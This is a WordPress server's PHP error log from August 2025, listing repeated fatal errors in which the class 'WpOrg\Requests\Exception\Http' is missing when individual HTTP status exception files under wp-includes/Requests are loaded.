[20-Aug-2025 23:28:15 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[20-Aug-2025 23:28:15 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[20-Aug-2025 23:28:16 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[20-Aug-2025 23:28:16 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[20-Aug-2025 23:28:17 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[20-Aug-2025 23:28:18 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[20-Aug-2025 23:28:19 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[20-Aug-2025 23:28:19 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[20-Aug-2025 23:28:20 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[20-Aug-2025 23:28:20 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[20-Aug-2025 23:28:20 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[20-Aug-2025 23:28:21 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[21-Aug-2025 20:07:21 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[21-Aug-2025 20:07:35 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[21-Aug-2025 20:07:41 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[21-Aug-2025 20:07:47 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[21-Aug-2025 20:07:59 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[21-Aug-2025 20:08:10 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[21-Aug-2025 20:08:22 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[21-Aug-2025 20:08:33 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[21-Aug-2025 20:08:35 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[21-Aug-2025 20:08:44 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[21-Aug-2025 20:08:51 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[21-Aug-2025 20:09:15 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[21-Aug-2025 20:09:26 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[21-Aug-2025 20:09:42 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[21-Aug-2025 20:09:47 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[21-Aug-2025 20:09:58 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[21-Aug-2025 20:10:26 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[21-Aug-2025 20:10:33 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[21-Aug-2025 20:10:34 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[21-Aug-2025 20:10:39 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[21-Aug-2025 20:10:58 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[21-Aug-2025 20:11:26 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[21-Aug-2025 20:11:45 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[21-Aug-2025 20:12:02 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[21-Aug-2025 20:12:17 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[21-Aug-2025 20:12:29 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[21-Aug-2025 20:13:03 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[21-Aug-2025 20:13:25 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[21-Aug-2025 20:13:36 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[21-Aug-2025 20:13:56 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[21-Aug-2025 20:14:18 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[21-Aug-2025 20:14:25 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[21-Aug-2025 20:14:41 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[26-Aug-2025 06:18:50 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[26-Aug-2025 06:18:50 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[26-Aug-2025 06:18:51 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[26-Aug-2025 06:18:51 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[26-Aug-2025 06:18:51 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[26-Aug-2025 06:18:52 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[26-Aug-2025 06:18:52 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[26-Aug-2025 06:18:53 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[26-Aug-2025 06:18:54 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[26-Aug-2025 06:18:54 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[26-Aug-2025 06:18:55 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[26-Aug-2025 06:18:55 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[26-Aug-2025 06:18:56 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[26-Aug-2025 06:18:56 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[26-Aug-2025 06:18:57 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[26-Aug-2025 06:18:58 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[26-Aug-2025 06:18:58 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[26-Aug-2025 06:18:58 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[26-Aug-2025 06:18:59 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[26-Aug-2025 06:18:59 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[26-Aug-2025 06:19:00 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[26-Aug-2025 06:19:00 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[26-Aug-2025 06:19:01 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[26-Aug-2025 06:19:02 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[26-Aug-2025 06:19:02 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[26-Aug-2025 06:19:03 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[26-Aug-2025 06:19:03 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[26-Aug-2025 06:19:04 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[26-Aug-2025 06:19:04 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[26-Aug-2025 06:19:06 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[26-Aug-2025 06:19:06 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[26-Aug-2025 06:19:06 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[26-Aug-2025 06:19:07 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[26-Aug-2025 06:29:16 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[26-Aug-2025 06:29:16 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[26-Aug-2025 06:29:17 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[26-Aug-2025 06:29:17 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[26-Aug-2025 06:29:19 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[26-Aug-2025 06:29:19 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[26-Aug-2025 06:29:20 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[26-Aug-2025 06:29:21 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[26-Aug-2025 06:29:21 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[26-Aug-2025 06:29:22 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[26-Aug-2025 06:29:23 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[26-Aug-2025 06:29:24 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[26-Aug-2025 06:29:25 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
